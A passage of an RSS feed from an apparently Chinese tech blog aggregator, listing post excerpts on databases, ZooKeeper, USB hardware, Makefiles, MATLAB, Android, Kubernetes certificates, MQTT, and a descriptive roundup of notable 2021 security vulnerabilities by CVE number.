      <guid>https://bchobby.github.io/posts/763ee3eff3a98e9f17d90a176cd90a7a/</guid>
      <description> 解决方法：&#xA;npm install -g increase-memory-limit increase-memory-limit </description>
    </item>
    <item>
      <title>MySQL | MySQL 为什么不推荐使用JOIN</title>
      <link>https://bchobby.github.io/posts/d6d58b17cf5ce940547d946016a0eb4b/</link>
      <pubDate>Fri, 03 Nov 2023 11:39:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6d58b17cf5ce940547d946016a0eb4b/</guid>
      <description>MySQL 为什么不推荐使用JOIN MySQL 不推荐使用 JOIN 的说法是过于简化的。实际上，在某些情况下使用 JOIN 是非常有用的，但在其他情况下可能会带来性能问题、复杂性和可维护性问题以及重复数据等问题。&#xA;首先我们需要知道JOIN语句是用于将多个表中的数据进行联合起来的操作。&#xA;JOIN 本质就是各个表直接数据循环匹配,嵌套查询。也就是从主表（驱动表）中取出一条数据，遍历从表（被驱动表），将匹配到的数据放到result。以次类推，主表中的每一条记录与从表记录进行判断。&#xA;在关联查询的时候,那个表作为主表（驱动表）,那个表作为从表（被驱动表）,不是那个表在前边那个表就是主表,而是MySQL优化器决定谁是主表（除了STRAIGHT_JOIN），谁是从表，优化器会通过很多方面来决定例如索引straight_join 是内连接查询 是那个表在前边 那个表就是主表,。使用straight_join一定要慎重，因为部分情况下人为指定的执行顺序并不一定会比优化引擎要靠谱。 比如A表 inner join B表查询 create table a(f1 int,f2 int ,INDEX(f1)); create table b(f1 int,f2 int,index(f2)); 内连接 EXPLAIN select * from a inner join b on a.f1=b.f1;#b作为主表 EXPLAIN select * from a inner join b on a.f1=b.f1 where a.f1 = 1;#a作为主表 EXPLAIN select * from a inner join b on a.f1=b.f1 where b.f2 = 1;#b作为主表 在小数据量的情况下可以使用JOIN 联合查询,一旦数据量很大效率就很难保证了。</description>
    </item>
    <item>
      <title>ZooKeeper那些事</title>
      <link>https://bchobby.github.io/posts/bff17f25eadb1709168ca650a6c53272/</link>
      <pubDate>Fri, 03 Nov 2023 10:17:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bff17f25eadb1709168ca650a6c53272/</guid>
      <description>1. ZooKeeper 面试题？ ZooKeeper 是一个开放源码的分布式协调服务，它是集群的管理者，监视着集群 中各个节点的状态根据节点提交的反馈进行下一步合理操作。最终，将简单易用 的接口和性能高效、功能稳定的系统提供给用户。 分布式应用程序可以基于 Zookeeper 实现诸如数据发布/订阅、负载均衡、命名 服务、分布式协调/通知、集群管理、Master 选举、分布式锁和分布式队列等功能。 Zookeeper 保证了如下分布式一致性特性 ： 1、顺序一致性 2、原子性 3、单一视图 4、可靠性 5、实时性（最终一致性） 客户端的读请求可以被集群中的任意一台机器处理， 如果读请求在节点上注册了 监听器，这个监听器也是由所连接的 zookeeper 机器来处理 。对于写请求，这些 请求会同时发给其他 zookeeper 机器并且达成一致后，请求才会返回成功。因此， 随着 zookeeper 的集群机器增多，读请求的吞吐会提高但是写请求的吞吐会下降。 有序性是 zookeeper 中非常重要的一个特性，所有的更新都是全局有序的，每个 更新都有一个唯一的时间戳，这个时间戳称为 zxid（Zookeeper Transaction Id）。 而读请求只会相对于更新有序，也就是读请求的返回结果中会带有这个 zookeeper 最新的 zxid。 2. ZooKeeper 提供了什么？ 1、文件系统 2、通知机制 3. Zookeeper 文件系统 Zookeeper 提供一个多层级的节点命名空间（节点称为 znode）。与文件系统不 同的是，这些节点都可以设置关联的数据，而文件系统中只有文件节点可以存放 数据而目录节点不行。 Zookeeper 为了保证高吞吐和低延迟，在内存中维护了这个树状的目录结构， 这 种特性使得 Zookeeper 不能用于存放大量的数据，每个节点的存放数据上限为 1M 。 4. ZAB 协议？ ZAB 协议是为分布式协调服务 Zookeeper 专门设计的一种支持崩溃恢复的原子广 播协议。 ZAB 协议包括两种基本的模式： 崩溃恢复和消息广播 。 当整个 zookeeper 集群刚刚启动或者 Leader 服务器宕机、重启或者网络故障导 致不存在过半的服务器与 Leader 服务器保持正常通信时，所有进程（服务器）进 入崩溃恢复模式，首先选举产生新的 Leader 服务器，然后集群中 Follower 服务 器开始与新的 Leader 服务器进行数据同步，当集群中超过半数机器与该 Leader 服务器完成数据同步之后，退出恢复模式进入消息广播模式，Leader 服务器开始 接收客户端的事务请求生成事物提案来进行事务请求处理。 5.</description>
    </item>
    <item>
      <title>USB xHCI控制器使用总结</title>
      <link>https://bchobby.github.io/posts/7aa815c90e35be4e08e0fe03710c23b6/</link>
      <pubDate>Fri, 03 Nov 2023 09:07:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7aa815c90e35be4e08e0fe03710c23b6/</guid>
      <description>VI行超过80字符长度提示：set colorcolumn=81&#xA;1 APL USB xHCI控制器&#xA;1.1 驱动架构&#xA;14nm Apollo Lake (Gen9, A39X0) was released in September 2016.&#xA;APL 8-port MPH xHCI控制器实际上有两个roothub，一个是roothub 2.0的，一个是roothub 3.0。因为xHCI的这个特性，在Linux内核里，如果发现了PCI或者PCIe总线上具有xHCI控制器，那么驱动会向USB Core子系统注册两个roothub控制器，一个是roothub 2.0，一个是roothub 3.0，代码参见xhci-pci.c中的xhci_pci_probe()函数。&#xA;UEFI中xHCI驱动没有使用中断方式，而是用的轮训方式。&#xA;xhci_get_endpoint_index()&#xA;ep_index = (epnum * 2) + direction - 1&#xA;ep_index = 6 means ep3in&#xA;1.2 OTG架构&#xA;寄存器地址：PCI_BAR0 + 80D8h&#xA;8-port MPH xHCI和dwc3组成一个PCI多功能设备，xHCI的func号为0，dwc3的func号为1，Synopsys dwc3 usb comes from inSilicon。由于PCI总线一般只有INTA#到INTD#的4个中断引脚，所以PCI多功能设备的func一般不会超过4个，但是共享中断除外。&#xA;/sys/bus/platform/drivers/intel_usb_dr_phy/intel_usb_dr_phy.0/mux_state&#xA;1.3 xHCI Scheduler Async Delay&#xA;Datasheet&#xA;21.1 xHCI - including OTG MUX Registers</description>
    </item>
    <item>
      <title>Makefile学习</title>
      <link>https://bchobby.github.io/posts/a9ec632af8ce6689c201007d3b97b0df/</link>
      <pubDate>Thu, 02 Nov 2023 22:35:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9ec632af8ce6689c201007d3b97b0df/</guid>
      <description>目录&#xA;一、Makefile的介绍&#xA;1.1 什么是Makefile&#xA;1.2 Makefile的规则与示例&#xA;二、Makefile的基本语法&#xA;2.1 通配符&#xA;2.2 假想目标&#xA;2.3 变量&#xA;三、Makefile的常用函数&#xA;3.1 字符串替换和分析函数&#xA;3.1.1 subst&#xA;3.1.2 patsubst&#xA;3.1.3 strip&#xA;3.1.4 findstring&#xA;3.1.5 filter/filterout&#xA;3.1.6 sort&#xA;3.2 文件名函数&#xA;3.2.1 dir/notdir&#xA;3.2.2 suffix 3.2.3 basename&#xA;3.2.4 addsuffix/addprefix&#xA;3.2.5 wildcard&#xA;3.3 其他函数&#xA;3.3.1 foreach&#xA;3.3.2 if&#xA;3.3.3 origin&#xA;3.3.4 shell 1.1 什么是Makefile 相信在Linux系统中经常会用到make这个命令来编译程序，而执行make命令所依赖的文件便是Makefile文件，make命令通过Makefile文件编写的内容对程序进行编译。make命令根据文件更新的时间戳来决定哪些文件需要重新编译这可以避免编译已经编译过的，没有改变的文件，从而提升编译效率。&#xA;1.2 Makefile的规则与示例 一个简单的 Makefile 文件包含一系列的“规则”，其样式如下： 目标(target)…: 依赖()… &amp;lt;tab&amp;gt;命令(command) 当“依赖文件”比“目标文件”更加新时，或者目标文件还没有生成时，就会执行“命令”&#xA;下面就是一个简单的Makefile文件：&#xA;hello: hello.c gcc -o hello hello.c clean: rm -f hello 在代码所在的文件夹下放入此Makefile文件，并执行make操作，便会生成目标文件hello，如下</description>
    </item>
    <item>
      <title>matlab绘图（三）绘制三维图像</title>
      <link>https://bchobby.github.io/posts/a917fff2faa12b3ad6a09b3c0ce41e73/</link>
      <pubDate>Thu, 02 Nov 2023 22:34:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a917fff2faa12b3ad6a09b3c0ce41e73/</guid>
      <description>目录 一、绘制三维曲线&#xA;二、绘制三维曲面&#xA;1.meshgrid函数&#xA;2.mesh和surf函数&#xA;一、绘制三维曲线 1.最基本的绘制三维曲线的函数—plot3&#xA;plot3(x1,y1,z1, 选项 1,x2,y2,z2, 选项 2,…, xn,yn,zn , 选项 n) 其中，每一组 x ， y ， z 组成一组曲线的坐标参数，选项的定义和 plot 函数相同。当 x 、 y 、 z 是同维向量时，则 x 、 y 、 z 对应元素构成一条三维曲线；当 x 、 y 、 z 是同维矩阵时，则以 x 、 y 、 z 对应列元素绘制三维曲线，曲线条数等于矩阵列数。（plot详细用法可以参考我的博客：matlab绘图（一） 例1. 绘制三维曲线&#xA;代码如下：&#xA;t=0:pi/10:10*pi;%取点 x=sin(t)+t.*cos(t); y=cos(t)-t.*sin(t); z=t;%计算x，y，z坐标 plot3(x,y,z,&#39;Color&#39;,&#39;#4F4F2F&#39;,&#39;Linewidth&#39;,1.5); axis([-30 30 -30 30 0 35])%设置坐标范围 title(&#39;Line in 3-D Space&#39;);%标题 xlabel(&#39;X&#39;);ylabel(&#39;Y&#39;);zlabel(&#39;Z&#39;);%x，y，z轴标签 grid on;%开启网格线 绘制图形如下：</description>
    </item>
    <item>
      <title>【python练习】输出字符串的出现次数最多的前三字符，未通过检测</title>
      <link>https://bchobby.github.io/posts/32d96f014e51f15fc4f7215794506186/</link>
      <pubDate>Thu, 02 Nov 2023 20:10:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32d96f014e51f15fc4f7215794506186/</guid>
      <description> 输入任意一串字符串s，返回一个出现次数最多的前三个字符组成的列表，并从大到小排。&#xA;我编写的程序如下，idle里运行没问题，但是python小屋里检测出错，在这里记录一下：&#xA;from collections import Counter def main(s): a=Counter(s).most_common() b=[] #print(a) for i in range(len(a[:3])): b.append(a[i][0]) print(b) </description>
    </item>
    <item>
      <title>盘点 | 2021年十大网络安全漏洞</title>
      <link>https://bchobby.github.io/posts/ca11ddb67739af7a5f1fb096e115ce76/</link>
      <pubDate>Thu, 02 Nov 2023 18:17:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca11ddb67739af7a5f1fb096e115ce76/</guid>
      <description>漏洞与信息化进程相伴而生，为加强网络安全防护、避免漏洞所引发的威胁，漏洞管理成为重要IT策略。2021年，因漏洞导致的各类安全事件频发，涉及经济、民生的方方面面，提高安全意识已势在必行。以下为国科云梳理的2021年十大网络安全漏洞，一起来看下吧。&#xA;一、Apache Log4j2 远程代码执行漏洞 Apache Log4j2是一个基于Java的日志记录工具，该日志框架被大量用于业务系统开发，用来记录日志信息。&#xA;Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，攻击者仅仅需要向目标服务器发送精心构造的恶意数据触发Log4j2组件解析缺陷，就可以实现目标服务器任意命令执行，获取目标服务器权限。&#xA;由于日志记录存在的普遍性，所以该漏洞具有危害程度高、利用难度低、影响范围大、后续影响广的特点。可以预见，未来数月甚至数年该漏洞才能得到比较全面的修补。&#xA;漏洞涉及CVE编号：CVE-2021-44228&#xA;漏洞影响版本：Apache log4j2 2.0 至 2.14.1 版本&#xA;二、QNAP NAS Roon Server套件认证绕过、命令注入漏洞 2021年6月11日，CNCERT发布《关于威联通设备2项0Day漏洞组合利用攻击的报告——RoonServer权限认证漏洞与命令注入漏洞》。报告中详细介绍了权限绕过漏洞（CVE-2021-28810）和命令注入漏洞（CVE-2021-28811）相关的细节，并指出早在2021年5月8日就已经捕获在野利用攻击。在后续和厂商的沟通中，QNAP官方于2021年6月4日重新发布修复后的应用。&#xA;在对在野攻击行为分析后确定攻击者尝试植入的载荷为eCh0raix勒索软件。该勒索软件会加密NAS上存储的文件并要求受害者通过TOR支付比特币赎金。&#xA;勒索软件通过NAS 0day传播不仅极具针对性且拥有极高的成功率。该漏洞不是第一个也不会是最后一个。&#xA;漏洞涉及CVE编号：CVE-2021-28810、CVE-2021-28811&#xA;三、Microsoft Exchange高危攻击链 2021年3月3日微软紧急发布了Exchange更新补丁，披露Exchange存在多个高危漏洞并且已被黑客作为攻击链的一部分进行利用，其中CVE-2021-26855通过服务器请求伪造绕过了Exchange Server身份验证，可以结合&#xA;CVE-2021-26858/CVE-2021-27065形成高危攻击链。相关漏洞详情如下：&#xA;CVE-2021-26855服务端请求伪造漏洞，可以绕过Exchange Server的身份验证。&#xA;CVE-2021-26858/CVE-2021-27065任意文件写入漏洞，需要身份验证。可配合CVE-2021-26855形成无需交互的高危攻击链。&#xA;漏洞涉及CVE编号：CVE-2021-26855、CVE-2021-26858、CVE-2021-27065&#xA;四、VMware vCenter Server未授权远程命令执行漏洞 Vmware vCenter Server是ESXi的控制中心，可以从单一控制点统一管理数据中心的所有xSphere主机和虚拟机。&#xA;2021年5月25日，VMware官方发布安全公告，修复了VMware vCenter Server和VMware Cloud Foundation 远程代码执行漏洞（CVE-2021-21985）和身份验证漏洞（CVE-2021-21986）。其中 CVE-2021-21985漏洞攻击复杂度低，且不需要用户交互，攻击者可利用该漏洞在目标系统上执行任意命令，从而获得目标系统的管理权限。&#xA;漏洞涉及CVE编号：CVE-2021-21985&#xA;漏洞影响版本：&#xA;Vmware vCenter Server 7.0 系列 &amp;lt; 7.0.U2b&#xA;Vmware vCenter Server 6.7系列 &amp;lt; 6.7.U3n&#xA;Vmware vCenter Server 6.5 系列 &amp;lt; 6.5.U3p&#xA;Vmware Cloud Foundation 4.</description>
    </item>
    <item>
      <title>解决java.lang.StackOverflowError错误（栈溢出异常)</title>
      <link>https://bchobby.github.io/posts/6d8b75822f07091295256a899a1b8798/</link>
      <pubDate>Thu, 02 Nov 2023 17:17:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d8b75822f07091295256a899a1b8798/</guid>
      <description>原因&#xA;原因1：递归导致，死循环或者无限循环调用，多个实体类之间有多对一、多对多 关系时，重写toString方法的时候一定要注意，不要两个有对应关系的实体类都重写相关联属性字段的toString方法，这样会导致一直递归重写下去，内存当然会被耗尽，导致栈溢出&#xA;造成我查你你查我，循环往复，就形成了递归，进而引起stackoverflow。&#xA;细致的检查报错信息，找出行号的重复模式。这些重复的行号代表了被递归调用的代码。仔细审查代码，理解为何递归不终止。&#xA;原因2：栈溢出错误通常是由于方法调用的递归深度过大而导致的。每当调用一个方法时，都会将方法的返回地址和局部变量等信息保存在栈中。如果递归调用没有终止条件或终止条件有误，那么每次递归调用都会在栈中保存一份新的方法调用信息，最终导致栈空间耗尽，从而触发栈溢出错误。 数据传送list集合分阶段传送要调用list.clear();方法释放掉内存解决栈溢出问题&#xA;原因3：栈的大小有点下导致，修改-Xss参数，这个参数可以在项目配置或命令行指定&#xA;确认递归实现没有问题，再去修改-Xss参数&#xA;我的错误原因是原因1，我首先是增加的-Xss参数，后来发现还是报错，后来仔细检查，才知道是产生了死循环，所以，大家一定要检查仔细了</description>
    </item>
    <item>
      <title>VS切换透明背景的方法</title>
      <link>https://bchobby.github.io/posts/6b1d1a259dbe9f05c7dd95f47e05a5cd/</link>
      <pubDate>Thu, 02 Nov 2023 16:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b1d1a259dbe9f05c7dd95f47e05a5cd/</guid>
      <description> 材料准备： 1、俩个扩展插件&#xA;2、背景图片&#xA;3、安装vs单个组件.NET framework 目标包4.70以上版本&#xA;第一步，打开扩展 点击管理扩展 选择联机 搜索图中俩个插件 点击下载 然后重启VS 第二步，找到工具中的选项打开 下滑找到ClaudiaIDE 点击小三角并点击图中选项 改为图片中设置 其中将单一图片路径改为你存放背景图片的文件夹 第三步，找到工具中的主题 勾选Dark Transparency 附录：3安装vs单个组件.NET framework 目标包4.70以上版本 就欧克了！ </description>
    </item>
    <item>
      <title>CorelDRAW 2023 v24.5.0.731(矢量图形设计工具)</title>
      <link>https://bchobby.github.io/posts/823276296eab178df6dc59d19b188871/</link>
      <pubDate>Thu, 02 Nov 2023 16:06:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/823276296eab178df6dc59d19b188871/</guid>
      <description>CorelDRAW 2023是一款专业的矢量图形设计软件，由Corel公司开发。它提供了广泛的创意工具和功能，旨在满足设计师、艺术家和创意专业人士的需求。&#xA;CorelDRAW 2023具有直观的用户界面和工作流程，使用户能够轻松创建各种类型的图形设计，包括标志、海报、插图、包装设计、平面广告等等。它支持矢量绘图、页面布局、图片编辑和排版等功能，为用户提供了全面而灵活的设计工具。&#xA;该软件提供了丰富的形状绘制工具和笔刷，可以创建精确的线条、曲线和形状。它还支持文本处理功能，包括文本样式、段落格式、文字艺术效果等，使用户能够轻松处理和美化文本内容。&#xA;CorelDRAW 2023具有强大的色彩管理工具，支持各种调色板、渐变和特效，使用户能够创建丰富多样的色彩方案。此外，它还提供了图层管理、对象对齐、图形变换和液化效果等功能，以便于用户进行复杂的设计操作和编辑。&#xA;该软件还包含一系列与印刷和输出相关的功能，包括预览、输出设置和文件导出选项。用户可以轻松地准备设计作品以供打印、发布或在线共享。&#xA;除了CorelDRAW主程序，CorelDRAW 2023还提供了其他附加应用程序，如Corel PHOTO-PAINT（用于图像编辑和修饰）和Corel Font Manager（用于字体管理）等。这些应用程序相互配合，提供了更全面的设计工具和功能。&#xA;总的来说，CorelDRAW 2023是一款功能强大、全面而灵活的矢量图形设计软件。它为设计师和创意专业人士提供了丰富的工具和功能，帮助他们创造出令人印象深刻的视觉设计作品。无论是在印刷品、数字媒体还是在线内容方面，CorelDRAW 2022都是一个强大的工具，可满足各种设计需求。&#xA;CorelDRAW 2023 v24.5.0.731(矢量图形设计工具)</description>
    </item>
    <item>
      <title>Android 控件背景实现发光效果</title>
      <link>https://bchobby.github.io/posts/81c430496ee67d1d49481dddba76c8e4/</link>
      <pubDate>Thu, 02 Nov 2023 14:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81c430496ee67d1d49481dddba76c8e4/</guid>
      <description>主要实现的那种光晕效果：中间亮，四周逐渐变淡的。&#xA;这边有三种发光效果，先上效果图。&#xA;第一种、圆形发光体 实现代码：新建shape_light.xml，导入以下代码。使用时，直接给view设置为background。&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;shape xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; android:shape=&#34;oval&#34;&amp;gt; &amp;lt;gradient android:centerColor=&#34;@color/transparent&#34; android:centerX=&#34;0.5&#34; android:centerY=&#34;0.5&#34; android:gradientRadius=&#34;180dp&#34; android:startColor=&#34;@color/yellow&#34; android:type=&#34;radial&#34; /&amp;gt; &amp;lt;/shape&amp;gt; 第二种、矩形发光体 代码实现：通过自定义view实现。&#xA;package com.fht.testproject import android.annotation.SuppressLint import android.content.Context import android.graphics.Canvas import android.graphics.Color import android.graphics.Paint import android.graphics.RectF import android.util.AttributeSet import android.view.View /** * @author fenghaitao * @time 2023/11/1 16:40 */ class RectLightView @JvmOverloads constructor( context: Context, attributeSet: AttributeSet, defStyleAttr: Int = 0 ) : View(context, attributeSet, defStyleAttr) { private val paint: Paint = Paint() private val corner = 50f private val count = 200 init { paint.</description>
    </item>
    <item>
      <title>USB PD v1.0快速充电通信原理</title>
      <link>https://bchobby.github.io/posts/c215685a3838f1cfac254a95f002b6eb/</link>
      <pubDate>Thu, 02 Nov 2023 14:21:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c215685a3838f1cfac254a95f002b6eb/</guid>
      <description>1 原理&#xA;本篇文章讲的快速充电是指USB论坛所发布的USB Power Delivery快速充电规范（通过VBUS直流电平上耦合FSK信号来请求充电器调整输出电压和电流的过程），不同于本人发布的另一篇文章所讲的高通Quick Charger 2.0规范，因为高通QC2.0是利用D+和D-上的不同的直流电压来请求充电器动态调整输出电压和电流实现快速充电的过程。&#xA;USB PD v1.0的通信是将协议层的消息调制成24MHZ的FSK信号并耦合到VBUS上或者从VBUS上获得FSK信号来实现手机和充电器通信的过程。&#xA;如图所示，在USB PD通信中，是将24MHz的FSK通过cAC-Coupling耦合电容耦合到VBUS上的直流电平上的，而为了使24MHz的FSK不对Power Supply或者USB Host的VBUS直流电压产生影响，在回路中同时添加了zIsolation电感组成的低通滤波器过滤掉FSK信号。 USB PD的原理，以手机和充电器都支持USB PD为例讲解如下：&#xA;1) USB OTG的PHY监控VBUS电压，如果有VBUS的5V电压存在并且检测到OTG ID脚是1K下拉电阻（不是OTG Host模式，OTG Host模式的ID电阻是小于1K的），就说明该电缆是支持USB PD的；&#xA;2) USB OTG做正常BC1.2规范的充电器探测并且启动USB PD 设备策略管理器，策略管理器监控VBUS的直流电平上是否耦合了FSK信号，并且解码消息得出是CapabilitiesSource 消息，就根据USB PD规范解析该消息得出USB PD充电器所支持的所有电压和电流列表对；&#xA;3) 手机根据用户的配置从CapabilitiesSource消息中选择一个电压和电流对，并将电压和电流对加在Request消息的payload上，然后策略管理器将FSK信号耦合到VBUS直流电平上；&#xA;4) 充电器解码FSK信号并发出Accept消息给手机，同时调整Power Supply的直流电压和电流输出；&#xA;5) 手机收到Accept消息，调整Charger IC的充电电压和电流；&#xA;6) 手机在充电过程中可以动态发送Request消息来请求充电器改变输出电压和电流，从而实现快速充电的过程。&#xA;目前2014年有好几家芯片厂商做出了USB PD v1.0芯片，下举例：&#xA;uPD720250 瑞萨&#xA;UPD100X microchip&#xA;2 Abbreviations&#xA;ARC：Argonant RISC Core&#xA;AT91SAM9260：SAM means Smart ARM-based Microcontroller&#xA;ATMEL SAMBA：ATMEL Smart ARM-based Microcontroller Boot Assistant&#xA;CC2530：TI ChipCon2530&#xA;DWC2：Design Ware Controller 2，Apple的嵌入式设备，包括iPad和iPhone都是使用的DWC2</description>
    </item>
    <item>
      <title>Java将List中的元素分批次处理</title>
      <link>https://bchobby.github.io/posts/588c751077c37cfecfe810f74aefa9d5/</link>
      <pubDate>Thu, 02 Nov 2023 12:01:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/588c751077c37cfecfe810f74aefa9d5/</guid>
      <description>// 假设这是原始的 List&amp;lt;String&amp;gt; 集合 List&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); // 分批处理，每次取500个元素 int batchSize = 500; for (int i = 0; i &amp;lt; list.size(); i += batchSize) { int endIndex = Math.min(i + batchSize, list.size()); List&amp;lt;String&amp;gt; batch = list.subList(i, endIndex); // 在这里进行对每个批次的处理 // 处理 batch 集合 } 此方法即可实现对list的集合分批次，代码中是分了500一次，比如此方法可以用于数据库批量操作时。</description>
    </item>
    <item>
      <title>kubernetes certs update 【证书更新】</title>
      <link>https://bchobby.github.io/posts/19939483c5c8032b6a1918ad7142539e/</link>
      <pubDate>Thu, 02 Nov 2023 11:32:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19939483c5c8032b6a1918ad7142539e/</guid>
      <description>文章目录 1. 预备条件1.1 kubelet是否支持证书自动轮换1.2 查看集群指定证书位置1.3 查看证书是否过期2. 证书过期临近更新操作2.1 备份证书2.2 更新证书2.3 重启平台组件 3. 证书过期更新操作3.1 备份证书3.2 更新证书3.3 重启平台组件3.4 更新 config3.5 更新库表 1. 预备条件 1.1 kubelet是否支持证书自动轮换 查看 kubelet是否支持证书自动轮换，默认轮换的证书位于目录 /var/lib/kubelet/pki&#xA;[root@kube-master01 ~]# systemctl status kubelet ● kubelet.service - kubelet: The Kubernetes Node Agent Loaded: loaded (/usr/lib/systemd/system/kubelet.service; enabled; vendor preset: disabled) Drop-In: /usr/lib/systemd/system/kubelet.service.d └─10-kubeadm.conf Active: active (running) since Tue 2023-07-25 14:57:05 CST; 18min ago Docs: https://kubernetes.io/docs/ Main PID: 2983 (kubelet) Tasks: 13 (limit: 49016) Memory: 55.</description>
    </item>
    <item>
      <title>Vue3 如何搭建mqtt及使用以及多个订阅获取数据</title>
      <link>https://bchobby.github.io/posts/bb75f942cbabf928b3fb5d9852ce7090/</link>
      <pubDate>Thu, 02 Nov 2023 11:23:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb75f942cbabf928b3fb5d9852ce7090/</guid>
      <description>使用前先下载相应的依赖包&#xA;npm install mqtt -S&#xA;一、单个订阅方式&#xA;1、在utils里面创建mqtt.js&#xA;import * as mqtt from &#34;mqtt/dist/mqtt.min&#34;; import { mqttUrl } from &#34;../config/env&#34; class MQTT { url = &#39;&#39;;// mqtt地址 topic = &#39;&#39;; //订阅地址 client =&#39;&#39;; constructor(topic) { this.topic = topic; // 虽然是mqtt但是在客户端这里必须采用websock的链接方式 this.url = mqttUrl; } //初始化mqtt init() { const options = { clean: true, connectTimeout: 4000, // 超时时间 }; this.client = mqtt.connect(this.url, options); this.client.on(&#39;error&#39;, (error) =&amp;gt; { console.log(error); }); this.client.on(&#39;reconnect&#39;, (error) =&amp;gt; { console.</description>
    </item>
    <item>
      <title>时间戳转换成年月日时分秒（补0）</title>
      <link>https://bchobby.github.io/posts/ab4a7b28e4541b2b1ff936c7ff6d3fe0/</link>
      <pubDate>Thu, 02 Nov 2023 11:15:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab4a7b28e4541b2b1ff936c7ff6d3fe0/</guid>
      <description>function change(val) { let date = new Date(val); //时间戳转日期 let Y = date.getFullYear() + &#39;-&#39;; let M = (date.getMonth()+1 &amp;lt; 10 ? &#39;0&#39;+(date.getMonth()+1) : date.getMonth()+1) + &#39;-&#39;; let D = date.getDate()&amp;lt;10? &#39;0&#39;+ date.getDate()+&#39; &#39;: date.getDate()+&#39; &#39;; let h = date.getHours()&amp;lt;10?&#39;0&#39;+ date.getHours()+&#39;:&#39;:date.getHours()+&#39;:&#39;; let m = date.getMinutes()&amp;lt;10?&#39;0&#39;+date.getMinutes() + &#39;:&#39;:date.getMinutes() + &#39;:&#39;; let s = date.getSeconds()&amp;lt;10?&#39;0&#39;+ date.getSeconds():date.getSeconds(); return Y + M + D + h + m + s } 使用：</description>
    </item>
    <item>
      <title>常用sql语句</title>
      <link>https://bchobby.github.io/posts/293b45ce35d79bf83162c8b07e9207a7/</link>
      <pubDate>Thu, 02 Nov 2023 10:28:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/293b45ce35d79bf83162c8b07e9207a7/</guid>
      <description>/*表操作*/&#xA;drop table order;&#xA;create table products(&#xA;product_no integer primary key default 1,&#xA;name text,&#xA;price numeric default 9.99&#xA;);&#xA;create table orders (&#xA;order_id integer primary key default 1,&#xA;product_no int,&#xA;quantity integer&#xA;);&#xA;create table order_items(&#xA;product_no int references products(product_no) on update set default 9,&#xA;order_id int references orders(order_id) on update set default 9,&#xA;quantity int,&#xA;primary key(product_no,order_id)&#xA;);&#xA;insert into products values(2,&#39;aaa&#39;,10.00),(3,&#39;bbb&#39;,18.00);&#xA;insert into orders values(2,2,50),(3,3,80);</description>
    </item>
    <item>
      <title>基于Stemblock&#43;shufflenet改进YOLOv5的垃圾分类检测系统</title>
      <link>https://bchobby.github.io/posts/1aaf6a86689fe2d23354b7d38bff20ff/</link>
      <pubDate>Thu, 02 Nov 2023 10:19:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1aaf6a86689fe2d23354b7d38bff20ff/</guid>
      <description>1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence&#xA;研究背景与意义&#xA;垃圾分类是一项重要的环保任务，旨在减少垃圾对环境的污染和资源的浪费。随着城市化进程的加快和人口的增长，垃圾问题日益突出，传统的垃圾分类方式已经无法满足需求。因此，开发一种高效准确的垃圾分类检测系统具有重要的现实意义。&#xA;近年来，深度学习技术在计算机视觉领域取得了巨大的突破，特别是目标检测算法的发展。其中，YOLO（You Only Look Once）是一种快速且准确的目标检测算法，已经被广泛应用于各种场景。然而，传统的YOLO算法在垃圾分类任务中存在一些问题，如对小尺寸垃圾的检测效果较差，对于垃圾类别的识别准确率有待提高等。&#xA;为了解决这些问题，本研究将基于Stemblock和Shufflenet的改进方法应用于YOLOv5算法，以提高垃圾分类检测系统的性能。Stemblock是一种用于加速卷积神经网络的模块，通过优化网络的初始部分，可以提高网络的特征提取能力和计算效率。Shufflenet是一种轻量级的卷积神经网络结构，可以在保持较高准确率的同时，大幅减少网络的参数量和计算量。&#xA;本研究的主要目标是设计一种高效准确的垃圾分类检测系统，以实现自动化的垃圾分类。具体来说，本研究将通过以下几个方面的工作来达到目标：&#xA;首先，通过引入Stemblock模块，优化YOLOv5的初始部分，提高网络的特征提取能力和计算效率。Stemblock模块可以有效地减少网络的冗余计算，提高特征图的质量和多样性。&#xA;其次，结合Shufflenet的轻量级结构，进一步减少网络的参数量和计算量，提高垃圾分类检测系统的实时性和效率。Shufflenet通过引入逐通道的分组卷积和通道重排操作，可以在保持较高准确率的同时，大幅减少网络的计算复杂度。&#xA;最后，通过大量的实验验证和对比分析，评估改进后的YOLOv5算法在垃圾分类任务中的性能表现。本研究将使用公开的垃圾分类数据集进行训练和测试，比较改进后的算法与传统的YOLOv5算法在准确率、召回率和速度等方面的差异。&#xA;本研究的意义在于提出了一种基于Stemblock和Shufflenet改进的YOLOv5算法，用于垃圾分类检测系统。该算法具有较高的准确率和实时性，可以有效地应用于实际的垃圾分类场景中。通过自动化的垃圾分类，可以减少人工分类的工作量，提高垃圾分类的效率和准确性，从而为环境保护和资源回收做出贡献。此外，本研究还为深度学习在目标检测领域的应用提供了一种新的思路和方法，对相关研究具有一定的参考价值。&#xA;2.图片演示 3.视频演示 基于Stemblock+shufflenet改进YOLOv5的垃圾分类检测系统&#xA;4.数据集的采集＆标注和整理 图片的收集 首先，我们需要收集所需的图片。这可以通过不同的方式来实现，例如使用现有的数据集、&#xA;使用labelImg进行标注 